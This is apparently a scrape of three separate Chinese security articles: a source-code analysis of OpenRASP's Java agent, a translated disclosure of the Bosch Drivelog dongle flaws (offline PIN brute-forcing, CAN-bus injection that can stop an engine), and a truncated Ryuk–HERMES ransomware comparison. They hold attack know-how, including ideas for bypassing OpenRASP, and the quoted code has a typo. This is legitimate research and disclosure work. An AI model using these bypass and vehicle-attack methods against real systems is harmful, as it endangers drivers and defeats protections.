### 系统架构 - Java 版本
Java 版本的系统架构可以参考[官方手册](https://rasp.baidu.com/doc/hacking/architect/java.html)
### 启动流程
这部分的源码在`openrasp/agent/java/boot`
1. OpenRASP使用了 `on load` 的方式进行代理。启动时首先会进入 `com.baidu.openrasp.Agent` 的 `premain` 函数进行初始化操作（`init()`），该函数会在 main 函数之前预先执行。
//com.baidu.openrasp.Agent
public static void premain(String agentArg, Instrumentation inst) {
init(START_MODE_NORMAL, START_ACTION_INSTALL, inst);
}
public static synchronized void init(String mode, String action, Instrumentation inst) {
try {
JarFileHelper.addJarToBootstrap(inst);
//读取MANIFEST.MF相关信息
readVersion();
ModuleLoader.load(mode, action, inst);
} catch (Throwable e) {
System.err.println("[OpenRASP] Failed to initialize, will continue without security protection.");
e.printStackTrace();
}
}
1. 在`init()`方法中首先利用`inst.appendToBootstrapClassLoaderSearch(new JarFile(localJarPath))`将自身添加到 `BootstrapClassLoader` 的ClassPath下。
这是因为双亲委派机制的存在，类加载器在加载类时无法往下委派加载。当被hook的类需要调用漏洞检测方法的代码时，如果该hook类为`BootstrapClassLoader`加载的，则无法从该类调用非
`BootstrapClassLoader`
加载的类中的代码。要解决这个问题，就应该想办法把这种类通过BootstrapClassLoader进行加载。OpenRASP中通过调用`appendToBootstrapClassLoaderSearch`方法，可以把一个jar包放到Bootstrap
ClassLoader的搜索路径。这样的话，当Bootstrap
ClassLoader检查自身加载过的类，发现没有找到目标类时，会在指定的jar文件中搜索。官方文档也做了如下解释：
当去 hook 像 `java.io.File` 这样由 `BootstrapClassLoader` 加载的类的时候，无法从该类调用非
`BootstrapClassLoader` 加载的类中的接口，所以 `agent.jar` 会先将自己添加到 `BootstrapClassLoader`
的ClassPath下，这样 hook 由 `BootstrapClassLoader` 加载的类的时候就能够成功调用到 `agent.jar`
中的检测入口
//com.baidu.openrasp.JarFileHelper
public static void addJarToBootstrap(Instrumentation inst) throws IOException {
String localJarPath = getLocalJarPath();
inst.appendToBootstrapClassLoaderSearch(new JarFile(localJarPath));
}
1. 加载和初始化引擎模块(rasp-engine.jar)
ModuleLoader类的静态方法将moduleClassLoader设置为ExtClassLoader，在ModuleLoader构造函数中实例化ModuleContainer，并调用其start()方法。
在ModuleLoader构造函数中还会执行`setStartupOptionForJboss();`这里按照源码的解释应该是判断当前进程是否为jboss7
版本，并设置相关属性和预加载包。
//com.baidu.openrasp.ModuleLoader
static {
// juli
try {
Class clazz = Class.forName("java.nio.file.FileSystems");
clazz.getMethod("getDefault", new Class[0]).invoke(null);
} catch (Throwable t) {
// ignore
}
Class clazz = ModuleLoader.class;
// path值示例： file:/opt/apache-tomcat-xxx/rasp/rasp.jar!/com/fuxi/javaagent/Agent.class
String path = clazz.getResource("/" + clazz.getName().replace(".", "/") + ".class").getPath();
if (path.startsWith("file:")) {
path = path.substring(5);
}
if (path.contains("!")) {
path = path.substring(0, path.indexOf("!"));
}
try {
baseDirectory = URLDecoder.decode(new File(path).getParent(), "UTF-8");
} catch (UnsupportedEncodingException e) {
baseDirectory = new File(path).getParent();
}
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
while (systemClassLoader.getParent() != null
&& !systemClassLoader.getClass().getName().equals("sun.misc.Launcher$ExtClassLoader")) {
systemClassLoader = systemClassLoader.getParent();
}
moduleClassLoader = systemClassLoader;
}
/**
* 构造所有模块
*
* @param mode 启动模式
* @param inst {@link java.lang.instrument.Instrumentation}
*/
private ModuleLoader(String mode, Instrumentation inst) throws Throwable {
if (Module.START_MODE_NORMAL == mode) {
setStartupOptionForJboss();
}
engineContainer = new ModuleContainer(ENGINE_JAR);
engineContainer.start(mode, inst);
}
/**
* 加载所有 RASP 模块
*
* @param mode 启动模式
* @param inst {@link java.lang.instrument.Instrumentation}
*/
public static synchronized void load(String mode, String action, Instrumentation inst) throws Throwable {
if (Module.START_ACTION_INSTALL.equals(action)) {
if (instance == null) {
try {
instxance = new ModuleLoader(mode, inst);
} catch (Throwable t) {
instance = null;
throw t;
}
} else {
System.out.println("[OpenRASP] The OpenRASP has bean initialized and cannot be initialized again");
}
} else if (Module.START_ACTION_UNINSTALL.equals(action)) {
release(mode);
} else {
throw new IllegalStateException("[OpenRASP] Can not support the action: " + action);
}
}
在ModuleContainer构造方法中，获取了rasp-engine.jar中MANIFEST.MF文件的Rasp-Module-Name、Rasp-Module-Class字段。然后使用ExtClassLoader加载Rasp-Module-Class，即`com.baidu.openrasp.EngineBoot`，并将其实例化，赋值给module变量，然后ModuleLoader构造函数会调用`new
ModuleContainer(ENGINE_JAR).start()`,继而调用`module.start(mode,
inst);`即`com.baidu.openrasp.EngineBoot#start()`，启动引擎。
private Module module;
private String moduleName;
//jarName = rasp-engine.jar
public ModuleContainer(String jarName) throws Throwable {
try {
File originFile = new File(baseDirectory + File.separator + jarName);
JarFile jarFile = new JarFile(originFile);
Attributes attributes = jarFile.getManifest().getMainAttributes();
jarFile.close();
this.moduleName = attributes.getValue("Rasp-Module-Name");
String moduleEnterClassName = attributes.getValue("Rasp-Module-Class");
if (moduleName != null && moduleEnterClassName != null
&& !moduleName.equals("") && !moduleEnterClassName.equals("")) {
Class moduleClass;
if (ClassLoader.getSystemClassLoader() instanceof URLClassLoader) {
Method method = Class.forName("java.net.URLClassLoader").getDeclaredMethod("addURL", URL.class);
method.setAccessible(true);
method.invoke(moduleClassLoader, originFile.toURI().toURL());
method.invoke(ClassLoader.getSystemClassLoader(), originFile.toURI().toURL());
moduleClass = moduleClassLoader.loadClass(moduleEnterClassName);
module = (Module) moduleClass.newInstance();
} else if (ModuleLoader.isCustomClassloader()) {
moduleClassLoader = ClassLoader.getSystemClassLoader();
Method method = moduleClassLoader.getClass().getDeclaredMethod("appendToClassPathForInstrumentation", String.class);
method.setAccessible(true);
try {
method.invoke(moduleClassLoader, originFile.getCanonicalPath());
} catch (Exception e) {
method.invoke(moduleClassLoader, originFile.getAbsolutePath());
}
moduleClass = moduleClassLoader.loadClass(moduleEnterClassName);
module = (Module) moduleClass.newInstance();
} else {
throw new Exception("[OpenRASP] Failed to initialize module jar: " + jarName);
}
}
} catch (Throwable t) {
System.err.println("[OpenRASP] Failed to initialize module jar: " + jarName);
throw t;
}
}
public void start(String mode, Instrumentation inst) throws Throwable {
module.start(mode, inst);
}
### OpenRASP的执行流程
这部分的源码在`openrasp/agent/java/engine`
这部分我主要是参考三梦师傅的[分析流程](https://threedr3am.github.io/2019/12/31/OpenRASP%E6%A0%B8%E5%BF%83%E6%BA%90%E7%A0%81%E6%B5%85%E6%9E%90/)进行对比分析。
代码入口就是上文获取的`com.baidu.openrasp.EngineBoot#start()`，代码虽然有改动，但流程没变：
1. 输出banner信息
2. Loader.load()：V8引擎的加载，用于解释执行JavaScript
3. loadConfig()：初始化配置
* LogConfig.ConfigFileAppender()：初始化log4j
* CloudUtils.checkCloudControlEnter()：检查云控配置信息
* LogConfig.syslogManager()：读取配置信息，初始化syslog服务连接
4. Agent.readVersion();BuildRASPModel.initRaspInfo():缓存rasp的build信息
5. JS.Initialize()：初始化插件系统
* 为V8配置java的logger以及栈堆信息Getter（用于在js中获取当前栈堆信息）
* UpdatePlugin()：读取plugins目录下的js文件，过滤掉大于10MB的js文件，然后全部读入，最后加载到V8引擎中
* 这里有一个commonLRUCache，主要是用于在hook点去执行js check的时候，进行一个并发幂等
* InitFileWatcher()：初始化一个js plugin监视器（（JnotifyWatcher实现文件监控），在js文件有所变动的时候，重新去加载所有插件， **实现热更新的特性** 。
6. CheckerManager.init()：初始化所有的checker，从枚举类com.baidu.openrasp.plugin.checker.CheckParameter.Type中读取所有的checker，包含三种类型的checker，一是js插件检测，意味着这个checker会调用js plugin进行攻击检测，二是java本地检测，意味着是调用本地java代码进行攻击检测，三是安全基线检测，是用于检测一些高风险类的安全性基线检测，检测其配置是否有安全隐患。
下面要讲到的`doCheck()`方法中的type参数就是这里的Type。
// js插件检测
SQL("sql", new V8AttackChecker(), 1),
COMMAND("command", new V8AttackChecker(), 1 << 1),
DIRECTORY("directory", new V8AttackChecker(), 1 << 2),
REQUEST("request", new V8AttackChecker(), 1 << 3),
READFILE("readFile", new V8AttackChecker(), 1 << 5),
WRITEFILE("writeFile", new V8AttackChecker(), 1 << 6),
FILEUPLOAD("fileUpload", new V8AttackChecker(), 1 << 7),
RENAME("rename", new V8AttackChecker(), 1 << 8),
XXE("xxe", new V8AttackChecker(), 1 << 9),
OGNL("ognl", new V8AttackChecker(), 1 << 10),
DESERIALIZATION("deserialization", new V8AttackChecker(),1 << 11),
WEBDAV("webdav", new V8AttackChecker(), 1 << 12),
INCLUDE("include", new V8AttackChecker(), 1 << 13),
SSRF("ssrf", new V8AttackChecker(), 1 << 14),
SQL_EXCEPTION("sql_exception", new V8AttackChecker(), 1 <<15),
REQUESTEND("requestEnd", new V8AttackChecker(), 1 << 17),
LOADLIBRARY("loadLibrary", new V8AttackChecker(), 1 << 20),
//js插件检测-删除
DUBBOREQUEST("dubboRequest", new V8Checker(), 1 << 4),
//js插件检测-新增
DELETEFILE("deleteFile", new V8AttackChecker(), 1 << 18),
MONGO("mongodb", new V8AttackChecker(), 1 << 19),
SSRF_REDIRECT("ssrfRedirect", new V8AttackChecker(), 1 <<21),
RESPONSE("response", new V8AttackChecker(false), 1 << 23),
LINK("link", new V8AttackChecker(), 1 << 24),
JNDI("jndi", new V8AttackChecker(), 1 << 25),
DNS("dns", new V8AttackChecker(), 1 << 26),
// java本地检测
XSS_USERINPUT("xss_userinput", new XssChecker(), 1 << 16),
SQL_SLOW_QUERY("sqlSlowQuery", new SqlResultChecke(false), 0),
// 安全基线检测
POLICY_SQL_CONNECTION("sqlConnection", newSqlConnectionChecker(false), 0),
POLICY_SERVER_TOMCAT("tomcatServer", newTomcatSecurityChecker(false), 0),
POLICY_SERVER_JBOSS("jbossServer", new JBossSecurityChecke(false), 0),
POLICY_SERVER_JBOSSEAP("jbossEAPServer", newJBossEAPSecurityChecker(false), 0),
POLICY_SERVER_JETTY("jettyServer", new JettySecurityChecke(false), 0),
POLICY_SERVER_RESIN("resinServer", new ResinSecurityChecke(false), 0),
POLICY_SERVER_WEBSPHERE("websphereServer", newWebsphereSecurityChecker(false), 0),
POLICY_SERVER_WEBLOGIC("weblogicServer", newWeblogicSecurityChecker(false), 0),
POLICY_SERVER_WILDFLY("wildflyServer", newWildflySecurityChecker(false), 0),
POLICY_SERVER_TONGWEB("tongwebServer", newTongwebSecurityChecker(false), 0),
// 安全基线检测-新增
POLICY_LOG("log", new LogChecker(false), 1 << 22),
POLICY_MONGO_CONNECTION("mongoConnection", newMongoConnectionChecker(false), 0),
POLICY_SERVER_BES("bes", new BESSecurityChecker(false), 0);
1. initTransformer(inst)：核心代码，通过加载class，在加载前使用javassist对其进行hook插桩，以实现rasp的攻击检测功能，这里会重点分析。
private void initTransformer(Instrumentation inst) throws UnmodifiableClassException {
transformer = new CustomClassTransformer(inst);
transformer.retransform();
}
public CustomClassTransformer(Instrumentation inst) {
this.inst = inst;
inst.addTransformer(this, true);
addAnnotationHook();
}
private void addAnnotationHook() {
Set<Class> classesSet = AnnotationScanner.getClassWithAnnotation(SCAN_ANNOTATION_PACKAGE, HookAnnotation.class);
for (Class clazz : classesSet) {
try {
Object object = clazz.newInstance();
if (object instanceof AbstractClassHook) {
addHook((AbstractClassHook) object, clazz.getName());
}
} catch (Exception e) {
LogTool.error(ErrorType.HOOK_ERROR, "add hook failed: " + e.getMessage(), e);
}
}
}
addAnnotationHook()读取了com.baidu.openrasp.hook包中所有被@HookAnnotation注解的class，然后缓存到集合hooks中，如下图所示
这个hooks用来提供在后续类加载通过com.baidu.openrasp.transformer.CustomClassTransformer#transform的时候，对其进行匹配，判断是否需要hook
//com.baidu.openrasp.transformer.CustomClassTransformer
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain domain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (loader != null) {
DependencyFinder.addJarPath(domain);
}
if (loader != null && jspClassLoaderNames.contains(loader.getClass().getName())) {
jspClassLoaderCache.put(className.replace("/", "."), new SoftReference<ClassLoader>(loader));
}
for (final AbstractClassHook hook : hooks) {
if (hook.isClassMatched(className)) {
CtClass ctClass = null;
try {
ClassPool classPool = new ClassPool();
addLoader(classPool, loader);
ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
if (loader == null) {
hook.setLoadedByBootstrapLoader(true);
}
classfileBuffer = hook.transformClass(ctClass);
if (classfileBuffer != null) {
checkNecessaryHookType(hook.getType());
}
} catch (IOException e) {
e.printStackTrace();
} finally {
if (ctClass != null) {
ctClass.detach();
}
}
}
}
serverDetector.detectServer(className, loader, domain);
return classfileBuffer;
}
//com.baidu.openrasp.hook.AbstractClassHook
public byte[] transformClass(CtClass ctClass) {
try {
hookMethod(ctClass);
return ctClass.toBytecode();
} catch (Throwable e) {
if (Config.getConfig().isDebugEnabled()) {
LOGGER.info("transform class " + ctClass.getName() + " failed", e);
}
}
return null;
}
transform方法先根据hook.isClassMatched(String
className)方法判断当前类名是否在hooks集合中，进而判断是否对加载的class进行hook。
接着调用的是hook类的`transformClass(CtClass ctClass)`->`hookMethod(CtClass
ctClass)`方法进行了字节码的修改（hook），然后返回修改后的字节码并加载，最终实现了对class进行插桩。
这里依旧拿`com.baidu.openrasp.hook.ssrf.HttpClientHook`类举例说明transform()方法的流程
这里hook的类在[commit-d437](https://github.com/baidu/openrasp/commit/d437f9eb789b0345079a219b7c4144473d39bf5b)中由`org/apache/http/client/methods/HttpRequestBase`修改为`org/apache/http/impl/client`包下的`CloseableHttpClient`、`AutoRetryHttpClient`、`DecompressingHttpClient`和`AbstractHttpClient`这四个方法。
所以当当前className等于其中之一时，进入if语句进行hook。
进入if语句，通过`transformClass(CtClass
ctClass)`方法调用`HttpClientHook#hookMethod`，这个方法也在上面的commit中进行同步的修改
protected void hookMethod(CtClass ctClass) throws IOException, CannotCompileException, NotFoundException {
CtClass[] interfaces = ctClass.getInterfaces();
if (interfaces != null) {
for (CtClass inter : interfaces) {
// 兼容 http client 4.0 版本的 AbstractHttpClient
if (inter.getName().equals("org.apache.http.client.HttpClient")) {
LinkedList<CtBehavior> methods =
getMethod(ctClass, "execute", null, null);
String afterSrc = getInvokeStaticSrc(HttpClientHook.class, "exitCheck",
"$1,$_", Object.class, Object.class);
for (CtBehavior method : methods) {
if (method.getSignature().startsWith("(Lorg/apache/http/client/methods/HttpUriRequest")) {
String src = getInvokeStaticSrc(HttpClientHook.class,
"checkHttpUri", "$1", Object.class);
insertBefore(method, src);
insertAfter(method, afterSrc, true);
} else if (method.getSignature().startsWith("(Lorg/apache/http/HttpHost")) {
String src = getInvokeStaticSrc(HttpClientHook.class,
"checkHttpHost", "$1", Object.class);
insertBefore(method, src);
insertAfter(method, afterSrc, true);
}
}
break;
}
}
}
}
public static void checkHttpUri(Object uriValue) {
if (!isChecking.get() && uriValue != null) {
isChecking.set(true);
URI uri = (URI) Reflection.invokeMethod(uriValue, "getURI", new Class[]{});
checkHttpUrl(getSsrfParamFromURI(uri));
}
}
public static void checkHttpHost(Object host) {
if (!isChecking.get() && host != null) {
isChecking.set(true);
checkHttpUrl(getSsrfParamFromHostValue(host));
}
}
public static void exitCheck(Object uriValue, Object response) {
try {
if (isChecking.get() && response != null) {
URI redirectUri = HttpClientRedirectHook.uriCache.get();
if (redirectUri != null) {
HashMap<String, Object> params = getSsrfParam(uriValue);
if (params != null) {
HashMap<String, Object> redirectParams = getSsrfParamFromURI(redirectUri);
if (redirectParams != null) {
AbstractRedirectHook.checkHttpClientRedirect(params, redirectParams, response);
}
}
}
}
} finally {
isChecking.set(false);
HttpClientRedirectHook.uriCache.set(null);
}
}
可以清晰的看到对于`org.apache.http.client.HttpClient`这个接口中参数包含`org.apache.http.client.methods.HttpUriRequest`类型的`exitCheck()`方法，会在其方法体前插入`checkHttpUri()`代码，并在最后插入`exitCheck()`代码进行收尾工作；
对于这个接口中参数包含`org.apache.http.HttpHost`类型的`exitCheck()`方法，会在其方法体前插入`checkHttpHost()`代码，并在最后插入`exitCheck()`代码进行收尾工作。
这两个hook方法都会调用`checkHttpUrl()`方法，对检测ssrf的js插件进行调用以检测攻击。
调用流程没变，这里直接搬一下三梦师傅的流程汇总（注释有部分增减）：
1. com.baidu.openrasp.hook.ssrf.AbstractSSRFHook#checkHttpUrl
2. com.baidu.openrasp.HookHandler#doCheck
3. com.baidu.openrasp.HookHandler#doCheckWithoutRequest
在这里，做了一些云控注册成功判断和白名单的处理。
这里有两个注意点：
（1）当服务器的cpu使用率超过90%，禁用全部hook点。（这里能否DDOS，让CPU高负载，使用率超过90%，禁用全部hook点？）（2）当云控注册成功之前，不进入任何hook点
4. com.baidu.openrasp.HookHandler#doRealCheckWithoutRequest
在这里，做了一些参数的封装，以及失败日志、耗时日志等输出，并且在检测到攻击时（下一层返回），抛出异常
5. com.baidu.openrasp.plugin.checker.CheckerManager#check
6. com.baidu.openrasp.plugin.checker.AbstractChecker#check
在这里，对js或者其他类型的安全检测之后的结果，进行事件处理并返回结果
7. com.baidu.openrasp.plugin.checker.v8.V8AttackChecker#checkParam
8.com.baidu.openrasp.plugin.js.JS#Check
在这里，做了一些commonLRUCache的并发幂等处理
9.com.baidu.openrasp.v8.V8#Check(java.lang.String, byte[], int, com.baidu.openrasp.v8.Context, boolean, int)
因为在UpdatePlugin()中就读取plugins目录下的js文件并加载到V8引擎中，在InitFileWatcher()中初始化一个js plugin监视器，在js文件有所变动的时候，重新去加载所有插件，实现热更新的特性。所以这里就相当于要使用v8引擎调用之前写好的js进行check。
总结一下，OpenRASP工作流程为：（配置文件那些暂不描述）
1. 准备阶段：
* 将漏洞进行分类，然后加上`@HookAnnotation`注解，并重写`isClassMatched()`方法，然后将所有带有`@HookAnnotation`注解的类添加到hooks集合中。这样在执行到相应的底层类时能够根据`hook.isClassMatched()`的返回值判断是否需要hook。
* 初始化v8引擎，并将js加载到其中，同时初始化一个js plugin监视器以实现热更新。
2. 检测阶段：
* 对于当前类属于准备阶段中设置的hooks集合中时，进行hook操作。具体的hook形式在hook.hookMethod()方法中实现，比如`HttpClientHook#hookMethod()`对包含不同参数的`org.apache.http.client.HttpClient#execute`方法添加不同的代码。
* 添加不同的check代码后最终都会执行诸如doCheck、checkParam等方法，其中在v8引擎中调用js，实现对不同攻击的检测。
## 后续
后续会考虑相关绕过方式，比如到官网查找不常用的、危险的底层函数，绕过OpenRASP的hook；绕过OpenRASP设置的规则；之前也有师傅通过开启新线程，在新线程中进行命令执行的方式绕过OpenRASP，或是通过全局的Hook开关关闭rasp。
## Reference
<https://www.thoughtworks.com/zh-cn/insights/decoder/i/iast-rasp>
<https://rasp.baidu.com/doc/hacking/architect/main.html>
<https://turn1tup.github.io/2020/09/06/OpenRASP%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/>
<https://threedr3am.github.io/2019/12/31/OpenRASP%E6%A0%B8%E5%BF%83%E6%BA%90%E7%A0%81%E6%B5%85%E6%9E%90/> | 社区文章 |
# 【汽车安全】博世汽车Drivelog Connector dongle远程漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：argus-sec.com
原文地址：<https://argus-sec.com/remote-attack-bosch-drivelog-connector-dongle/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
**在这篇文章中，我们将对Argus研究团队在博世Drivelog Connect BOD-II适配器中发现的漏洞进行详细讨论。**
需要注意的是，这个漏洞将允许攻击者通过Drivelog平台停止一台正在行驶的汽车引擎。
根据Argus的漏洞披露政策，我们发现该漏洞之后便于2017年2月20日将漏洞信息上报给了博世公司。2017年2月21日，博世的产品安全事件响应团队（PSIRT）与Argus的研究人员取得了联系，并开始着手解决相应的安全问题。
下面即为Argus在博世Drivelog Connect中发现的两个漏洞：
**1\. 一个信息披露漏洞，存在于Drivelog Connector适配器与Drivelog Connect智能手机应用之间的验证过程中。**
**2\. 一个存在于Drivelog Connector适配器的信息过滤器中的安全漏洞。**
信息披露漏洞将允许我们快速离线爆破PIN码，并通过蓝牙连接Drivelog
Connect适配器。连接成功之后，适配器信息过滤器中的安全漏洞将允许我们向汽车的CAN总线注入恶意指令。
在我们的研究过程中，我们可以在蓝牙可连接的范围内关闭一辆正在运行的汽车引擎。但更让我们担心的是，由于我们能够通过适配器向CAN总线注入恶意信息，这也意味着我们也许能够控制网络中其他的电子控制单元（ECU）。如果攻击者能够在现实生活中实现这种攻击，我们估计他们将能够对道路上正在行驶的汽车造成物理影响。
**联网设备-攻击者的圣杯**
近些年，网络安全研究专家已经演示了大量针对物联网设备的攻击方法。比如说，Mirai恶意软件利用了全球各地的路由器和远程摄像头构建了一个范围非常大的僵尸网络，攻击者将能够利用这种僵尸网络来发动垃圾邮件攻击。而且随着汽车智能化的延伸，针对智能汽车的黑客攻击技术也逐渐得到了大家的关注。需要注意的是，之前泄漏的CIA攻击工具中也包括很多针对汽车的恶意工具。除此之外，针对汽车的网络攻击事件也成为了近几年各大安全媒体的头版头条，而且几乎目前所有主流的智能产品都已经成为了黑客手中的牺牲品。
**博世Drivelog Connector适配器**
博世的Drivelog
Connect是一个提供有关车辆状态信息的服务，与其他的物联网设备一样，这项服务可以给汽车驾驶员提供大量的便捷功能以及车辆的健康状态信息，例如汽车潜在的问题、服务期限、燃料消耗数据和驾驶情况等等。这个连接器可以通过CAN车载总线与车辆进行连接，实时监控车辆的运行数据，并根据数据提供诊断信息和维修保养建议。产品包括一个名叫Drivelog
Connector的适配器，Drivelog适配器总共有两种型号，分别适用于私家车和商务车，其主要区别就在于适配器上的CAN总线接口的数量上。
为了与适配器进行通信，我们下载了Drivelog
Connect应用程序，这款应用可以通过蓝牙与适配器连接，并对汽车的健康状况和驾驶信息进行检查。Drivelog
Connect应用有Android和iPhone两个版本，考虑到Android系统天然的开源特性，我们决定从Android版本着手开始我们的研究。
**研究开始-在实验室中模拟汽车**
我们首先要做的，就是在实验室中让Drivelog适配器和移动端App在没有实际接入汽车（行驶状态）的情况下运行起来。因此，我们首先要模拟出一个汽车环境。为了实现这一点，我们需要对连接了适配器的真实车辆CAN总线的传输数据进行记录和分析，并观察适配器所需要的数据。
基本思路比较简单：首先，将适配器与一台正在行驶的汽车连接，识别适配器所发送的PID请求，并记录汽车返回的响应信息；接下来，我们需要在实验环境中模拟一台正在行驶的汽车，当适配器发送请求时，我们会将之前记录下的汽车响应数据返回给适配器，这样就可以让适配器正常运行了。
在对CAN总线所发送的PID信息进行观察之后，我们创建了一个字典来保存请求-响应信息，这个字典将允许我们模拟出一台正常状态的汽车。适配器配置完成之后，我们将注意力转移到了Android应用的身上，在对Java代码进行了反编译之后，我们就可以开始检查应用程序的源代码了。
**适配器和移动App**
在对反编译后的Java源码进行了分析之后，我们了解到了以下几点信息。虽然源码中绝大部分函数和变量都用字母代替了（例如a()、b()、c()），但是我们仍然通过大量的调试日志了解到了代码的基本运行逻辑。由于函数日志对于逆向工程来说是非常有用的信息，因此我们将应用反汇编成Smali代码，并进一步观察调试日志的内容。
我们发现，Drivelog应用还可以更新适配器的固件。实际上，有可用的固件更新时，在固件更新过程完成之前Drivelog应用是不允许我们与适配器相连接的，这也是保证更新能够迅速完成的一种方法。如果我们能够拿到适配器的固件程序，那么我们就可以审查其源码并有可能找出远程代码执行漏洞了。但不幸的是，在对应用程序的行为以及它与适配器的通信方式进行了观察之后，我们发现固件更新补丁在传输过程中是经过了加密的，而且只有适配器才能对其进行解密。这也就意味着，即使我们拿到了固件程序，我们仍然要进行大量的解密工作，但是如果我们能够拿到固件源码，我们就可以找出潜在的攻击向量了。
**消息过滤器中的安全漏洞**
既然固件采用了加密保护，因此我们决定将注意力转移到时间成本更低的攻击向量上，比如说一台被入侵的智能手机。那么问题来了，攻击者如果得到了车主手机的root权限，那么他们就能够通过Drivelog应用来与适配器进行通信，那么他们会给汽车带来多大的威胁呢？
为了充分理解适配器所使用的协议，我们对蓝牙通信数据进行了监听。我们发现，App与适配器之间的传输数据同样是经过加密的，因此我们对Android端App进行了修改，并收集到了所有的蓝牙通信数据（UDP）。
UDP输出数据如下所示：
在上图中，App所发送的信息标记为TX，适配器发送给App的信息标记为RX。通过对比蓝牙和CAN总线的数据，我们可以看到App发送CAN总线信息是通过REQ命令实现的。REQ命令后面紧接着的就是通过CAN总线所发送的数据（后面的aa是填充数据，填充至CAN总线数据的最大长度-8个字节）。
**认证过程中的信息披露漏洞**
首先，我们假设攻击者可以访问目标用户的受感染手机。现在，我们就要找出一个可以向适配器发送控制指令并生成CAN消息的简单方法。为了能够复制攻击者对目标手机的这种读写访问权限，我们还需要分析Drivelog适配器和Android端应用之间的认证处理过程。
从用户体验度方面考虑，适配器与App之间的配对过程比较简单-用户从蓝牙列表中选择适配器，然后输出连接密码就可以完成连接了。但是，在对反编译后的源码进行了分析之后，我们发现整个认证处理过程比我们想象中要复杂得多。
完整的配对步骤如下：
1\. Android端应用通过蓝牙与适配器相连，并请求适配器证书（适配器的公钥和已签名的二进制字符串）。
2\. Android应用发送适配器证书以及PIN码（用户向后台服务器发送的）。
3\. 服务器通过App返回适配器的配对证书。
4\. 适配器验证配对证书中的配对PIN码，验证成功之后，适配器会将证书和随机数发送给Android应用。
5\. 接收到适配器证书之后，Android应用会检查其中的配对PIN码。
6\. PIN码验证完成之后，Android App会对适配器的随机数进行签名。
7\. 随机数签名完成之后，App会将适配器的随机数以及手机端的随机数发送给适配器，适配器会将已签名的手机随机数发送回给App。
8\. 适配器和Android端App会对各自的随机数签名进行验证，并且还会建立一条加密信道来交换随机数。
在第一步中，适配器会发送其证书，其中包含有公钥和已签名的二进制字符串，签名使用的是SHA256哈希算法计算得出，计算参数如下：
1\. 适配器的MAC地址；
2\. 适配器PIN码；
3\. 适配器公钥；
如果攻击者想要确定猜测出来的PIN码是否正确，他们还需要结合适配器的MAC地址、PIN码、以及适配器的公钥进行分析，并计算整个字符串的SHA256哈希，最后再对加密字符串的签名进行验证。如果攻击者能够与适配器进行连接，那么他们就可以获取足够的信息来对PIN码进行爆破。由于Drivelog适配器的PIN码由八位数字组成，因此总共有一亿种可能的PIN码组合。验证过程需要进行一次SHA256哈希计算以及公钥的加密操作。需要注意的是，只要使用合适的软件，一台普通的笔记本电脑就可以在三十分钟内进行一亿次SHA256哈希计算，如果使用多台爆破服务器进行并行计算的话，破解时间还会更短。
**完整的攻击流程**
**现在，我们准备结合这两个漏洞来设计出一种可行的攻击方法：首先，通过认证过程中存在的信息披露漏洞实现对PIN码的爆破，然后使用通信信道发送恶意CAN总线消息。**
结合以上信息，我们设计出的完整攻击流程如下：
1\. 攻击者与Drivelog适配器进行配对，并接收适配器证书。
2\. 攻击者在离线环境下爆破适配器PIN码。
3\. 攻击者与适配器进行连接。
4\. 完成了上面的1-3步之后，攻击者就可以发送恶意CAN总线数据了。
如果攻击者想要进行破坏，那么他就可以发送随机的CAN总线数据，并对汽车造成物理影响。
**总结**
此次发现的漏洞足以证明，Drivelog平台中存在严重的安全隐患，其中包括Drivelog适配器、移动端App以及后台通信服务器等设备都会受到影响。
除此之外，此次研究的结果也说明了以下几个问题：
**1\.
在产品的研发过程中，即使我们将信息安全放在首位，但最终的产品仍然有可能包含漏洞。就过去的经验来看，很多智能汽车组件中的漏洞都是产品功能实现的过程中出现的，但本文所描述的两个漏洞纯粹是设计缺陷所导致的。**
**2\.
智能汽车的网络安全问题需要多层解决方案。很明显，在智能汽车的安全方面，虽然加密技术将扮演主要角色，但我们也不能仅仅依靠加密手段来抵御网络攻击。**
**3\. 一旦攻击出现，用户需要安全工具来保护自身的安全，因此这个重任将落在汽车制造商和安全社区的身上。**
**4\. 汽车制造商以及供应商需要对产品进行定期的安全审查和渗透测试，而这些测试应该有汽车安全专家来负责进行。** | 社区文章 |
本文翻译自：<https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/>
* * *
研究人员分析发现Ryuk勒索软件与HERMERS勒索软件有很多相似之处，因为研究人员认为使用Ryuk进行攻击的运营者要么是HERMES的运营者，或者Ryuk的开发者获取了HERMES恶意软件的源代码。
# Ryuk概览
一般勒索软件都是通过大规模垃圾邮件活动和漏洞利用工具进行传播，而Ryuk更倾向于一种定制化的攻击。事实上，其加密机制也主要是用于小规模的行动的，比如只加密受感染网络中的重要资产和资源。
## Ryuk勒索信
从收集的样本中，一共有2个版本的勒索信发给了受害者，一封比较长的勒索赎金为50比特币（约32万美元），一封短的勒索赎金15-35比特币（最高22.4万美元），这就意味着有两种不同级别的攻击。
图1: 勒索信1
图2: 勒索信2
# Ryuk vs HERMES
HERMES勒索软件首次出现于2017年10约，当时攻击的目标是台湾的远东国际银行。在攻击中，Lazarus组织通过SWIFT攻击窃取了6000万美元。可以说HERMES勒索软件的目标之一是银行网络。
下面是对Ryuk和HERMES勒索软件的一个比较，通过比较，研究人员认为两个勒索软件的作者相同，或者Ryuk本就属于HERMES勒索软件。
# 恶意软件对比
研究人员检查Ryuk的代码发现其加密逻辑与HERMES勒索软件的加密逻辑相似。进一步比较加密文件的函数，研究人员发现其结构非常相似。下图是调用流图的比较：
图3: Ryuk和Hermes加密函数的调用流图
事实上，Ryuk甚至没有修改加密文件中的maker，两个恶意软件中用于确定文件是否被加密的用于生成、存放和验证maker的代码都是相同的：
图4: Ryuk和Hermes的maker生成
图5: Ryuk和Hermes的maker检查
另外，两个勒索软件中激活之前提到的路径的函数会执行相同的动作。比如，两个白名单文件夹，都在相同路径下写入batch脚本（`window.bat`），删除影子目录和备份文件的脚本也相同，都释放了`PUBLIC`和`UNIQUE_ID_DO_NOT_REMOVE`文件到磁盘。
